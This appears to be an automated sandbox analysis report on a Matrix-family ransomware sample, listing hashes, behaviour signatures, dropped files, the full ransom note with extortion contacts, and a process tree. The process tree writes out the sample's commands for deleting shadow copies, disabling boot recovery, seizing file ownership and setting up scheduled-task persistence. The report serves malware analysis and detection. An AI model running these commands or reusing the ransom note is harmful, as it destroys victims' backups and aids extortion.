Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    03-04-2024 17:56

General

  • Target

    FoxRansomware/0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe

  • Size

    1.2MB

  • MD5

    607d292bdcdde297252e002e613282ae

  • SHA1

    0161d2dd582d064f7e7f50ccb43478ff0884916a

  • SHA256

    0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65

  • SHA512

    2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8

  • SSDEEP

    24576:J/SA+2lraRrjSJR5ezmT1dM9bB5slYQt2e8F/KpXcd:PXlOslYQt+5

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Extracted

Path

C:\Program Files\Google\Chrome\Application\#ANN_README#.rtf

Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}} {\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;} {\*\generator Riched20 10.0.15063}\viewkind4\uc1 \pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par \pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par \cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par \b0 by our automatic software. It became possible because of bad server security. \par \cf1\b ATENTION!!!\par \cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par state and decrypt all your files quickly and safely!\par \b\par \cf2 INFORMATION!!!\par \cf0\b0 Files are not broken!!!\par Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par \i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par * Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par \i0\f0\lang1033\par \cf3\b HOW TO RECOVER FILES???\par \cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par \pard\sl240\slmult1\b\fs28 [email protected]\par [email protected]\par [email protected]\cf1\fs24\par You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par \pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par In subject line write your personal ID:\par \b\fs28 149C955109C3824A\par \b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par \i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par \i0\par \cf1\b OUR ADVICE!!!\par \cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par \ul\b\par We will definitely reach an agreement ;) !!!\b0\par \ulnone\par \fs20 \par \par \par \par \par \par \par \pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par \b0\fs20\par \pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par 1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par 2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par 3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par 4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par 5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par \b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cUPmiEDYswzWC3ZmbtybDJeUNHqSpERL1\par \pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 149C955109C3824A\par M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par \pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par \pard\sa200\sl240\slmult1\fs28 Ebrn4d1I\cf0\f1\fs32\lang1049\par \par }
Emails
URLs

https://bitmsg.me

https://bitmsg.me/users/sign_up

https://bitmsg.me/users/sign_in

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops desktop.ini file(s) 40 IoCs
  • Enumerates connected drives 3 TTPs 44 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe
    "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"
    1⤵
    • Matrix Ransomware
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:2088
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWsny7pa.exe"
      2⤵
        PID:1648
      • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWsny7pa.exe
        "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWsny7pa.exe" -n
        2⤵
        • Executes dropped EXE
        PID:3000
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\OjXT9s1J.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:612
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1264
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Imidld95.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2760
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Imidld95.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1256
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1692
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
              PID:2720
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\25GK72nz.vbs"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2588
            • C:\Windows\SysWOW64\wscript.exe
              wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\25GK72nz.vbs"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1964
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\oJiif7aR.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4088
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\oJiif7aR.bat" /sc minute /mo 5 /RL HIGHEST /F
                  5⤵
                  • Creates scheduled task(s)
                  PID:3836
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                4⤵
                  PID:2356
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Run /I /tn DSHCA
                    5⤵
                      PID:3620
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\HTPEPsK5.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf""
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2716
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"
                  3⤵
                  • Views/modifies file attributes
                  PID:1548
                • C:\Windows\SysWOW64\cacls.exe
                  cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf" /E /G Admin:F /C
                  3⤵
                    PID:2952
                  • C:\Windows\SysWOW64\takeown.exe
                    takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf"
                    3⤵
                    • Modifies file permissions
                    PID:3700
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c XNB541eD.exe -accepteula "DefaultID.pdf" -nobanner
                    3⤵
                    • Loads dropped DLL
                    PID:3668
                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\XNB541eD.exe
                      XNB541eD.exe -accepteula "DefaultID.pdf" -nobanner
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:3812
                      • C:\Users\Admin\AppData\Local\Temp\XNB541eD64.exe
                        XNB541eD.exe -accepteula "DefaultID.pdf" -nobanner
                        5⤵
                        • Drops file in Drivers directory
                        • Sets service image path in registry
                        • Executes dropped EXE
                        • Enumerates connected drives
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: LoadsDriver
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2680
              • C:\Windows\system32\taskeng.exe
                taskeng.exe {D84625B1-C98D-4974-BB01-FEED18F711E7} S-1-5-21-3787592910-3720486031-2929222812-1000:HSNHLVYA\Admin:Interactive:[1]
                1⤵
                  PID:1088
                  • C:\Windows\SYSTEM32\cmd.exe
                    C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\oJiif7aR.bat"
                    2⤵
                      PID:3196
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin Delete Shadows /All /Quiet
                        3⤵
                        • Interacts with shadow copies
                        PID:1768
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic SHADOWCOPY DELETE
                        3⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3156
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} recoveryenabled No
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:3432
                      • C:\Windows\system32\bcdedit.exe
                        bcdedit /set {default} bootstatuspolicy ignoreallfailures
                        3⤵
                        • Modifies boot configuration data using bcdedit
                        PID:540
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN DSHCA /F
                        3⤵
                          PID:3984
                    • C:\Windows\system32\vssvc.exe
                      C:\Windows\system32\vssvc.exe
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3228

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Program Files\Google\Chrome\Application\#ANN_README#.rtf

                      Filesize

                      8KB

                      MD5

                      73a1a1ade86fe4775c8dfe8c654a538c

                      SHA1

                      29e6929a77ccf444fe47ea852604784f52618e74

                      SHA256

                      ff5679c95dadc14225a20a947346174e39eaf09cb8add0c868895086fb8902ea

                      SHA512

                      647cf990c60468c29b9cf16964b516a42540e520b2a321adeb9c05aba94fec33e2d4681a91cf856779445a4e8a53e3998a3dbc9907d40fd862a0ff21b2ce206a

                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\HTPEPsK5.bat

                      Filesize

                      246B

                      MD5

                      84d69164d6b51c222021936c7038e2c7

                      SHA1

                      569ceb6e880b42c00752d2015f47bb8797ad12f1

                      SHA256

                      55a4bb419f8c48adb5201a221d0b60d1c4ce325483619ea5af12a31f33f3e6a6

                      SHA512

                      efaedfe40c790ac9406270c7ed9e14af1fb51b7c5679a0c35169dd0b1af4fe646f1e6b38cf26ad6ec286644c37598298a15bacb5144c5188049fdad272b1c669

                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\OjXT9s1J.txt

                      Filesize

                      16B

                      MD5

                      17d432845dc7cb55ac69d75cf72f7f5d

                      SHA1

                      7f3b6e6ab91b3a13c0611fe6e95befab691d5cc3

                      SHA256

                      a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4

                      SHA512

                      25054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0

                    • C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_149C955109C3824A.txt

                      Filesize

                      31KB

                      MD5

                      2c6ca9cacc1d248c7d92224fdbbd186a

                      SHA1

                      67d7bfa583d5b571523a0489afc9fa3c29d6192f

                      SHA256

                      b73f7ff5dbc3be386f38222c89885e6411c85a846401e7e77a6567731304b50e

                      SHA512

                      1033312e75251dc8e50329447898bdb5b26dfe746eed16d41142e22a4e168dce6ef2736d515d1ed7ad0baccaebfebb020b5d52f619145ba5a9ce785c4b163d03

                    • C:\Users\Admin\AppData\Local\Temp\XNB541eD64.exe

                      Filesize

                      221KB

                      MD5

                      3026bc2448763d5a9862d864b97288ff

                      SHA1

                      7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                      SHA256

                      7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                      SHA512

                      d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                    • C:\Users\Admin\AppData\Roaming\25GK72nz.vbs

                      Filesize

                      260B

                      MD5

                      70f00212053c9bd3cee9f3aadf8613d6

                      SHA1

                      42cdb08328a745142a7640032b9f36692672521e

                      SHA256

                      475ab677e6e254c86815f55ee2958665182603334cebd1a6353031c024e3ab0b

                      SHA512

                      c5aacc45e346f0a4ac19471756b132f892414ccf98a0a48ee23164114e38ca1cad1c1c6622b52210e5262032bd6aa67c686bee9616e463a2698dc3be3b532de0

                    • C:\Users\Admin\AppData\Roaming\oJiif7aR.bat

                      Filesize

                      265B

                      MD5

                      fb1c17dc591551d0a0ee2cde775e0164

                      SHA1

                      05e6bbd5bd556f394368db9b609ea99d00150a8e

                      SHA256

                      8c4bd4dd8f39f03df5eb3fbb07088e938084cd3b1006c4c2eacc48a1df90c25a

                      SHA512

                      57cd69cff72183603e6b108c8d02f7f7d5ad1fde0f152f5792bc65ec3709b638be95c10322049fe9c9478399736d51dc553218314fdb9bd1910b5bdc35f26b43

                    • \Users\Admin\AppData\Local\Temp\FoxRansomware\NWsny7pa.exe

                      Filesize

                      1.2MB

                      MD5

                      607d292bdcdde297252e002e613282ae

                      SHA1

                      0161d2dd582d064f7e7f50ccb43478ff0884916a

                      SHA256

                      0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65

                      SHA512

                      2bdc2ff857f9f52aac5071d3a695f7baf822a971969ba263ad03769c41af7916b558bada6bfe76fe78f730235a4ca5d2dd1cf3eaa2a59c5efef06af0a798acb8

                    • \Users\Admin\AppData\Local\Temp\FoxRansomware\XNB541eD.exe

                      Filesize

                      181KB

                      MD5

                      2f5b509929165fc13ceab9393c3b911d

                      SHA1

                      b016316132a6a277c5d8a4d7f3d6e2c769984052

                      SHA256

                      0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                      SHA512

                      c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                    • memory/1264-14-0x0000000002500000-0x0000000002540000-memory.dmp

                      Filesize

                      256KB

                    • memory/1264-12-0x0000000073DA0000-0x000000007434B000-memory.dmp

                      Filesize

                      5.7MB

                    • memory/1264-11-0x0000000073DA0000-0x000000007434B000-memory.dmp

                      Filesize

                      5.7MB

                    • memory/1264-15-0x0000000002500000-0x0000000002540000-memory.dmp

                      Filesize

                      256KB

                    • memory/1264-13-0x0000000002500000-0x0000000002540000-memory.dmp

                      Filesize

                      256KB

                    • memory/1264-17-0x0000000073DA0000-0x000000007434B000-memory.dmp

                      Filesize

                      5.7MB

                    • memory/2088-6788-0x0000000000400000-0x000000000053F000-memory.dmp

                      Filesize

                      1.2MB

                    • memory/2088-16-0x0000000000400000-0x000000000053F000-memory.dmp

                      Filesize

                      1.2MB

                    • memory/2088-9366-0x0000000000400000-0x000000000053F000-memory.dmp

                      Filesize

                      1.2MB

                    • memory/3000-8-0x0000000000400000-0x000000000053F000-memory.dmp

                      Filesize

                      1.2MB

                    • memory/3668-2580-0x0000000000400000-0x0000000000477000-memory.dmp

                      Filesize

                      476KB

                    • memory/3668-9369-0x0000000000400000-0x0000000000477000-memory.dmp

                      Filesize

                      476KB

                    • memory/3812-2583-0x0000000000400000-0x0000000000477000-memory.dmp

                      Filesize

                      476KB

                    • memory/3812-9302-0x0000000000400000-0x0000000000477000-memory.dmp

                      Filesize

                      476KB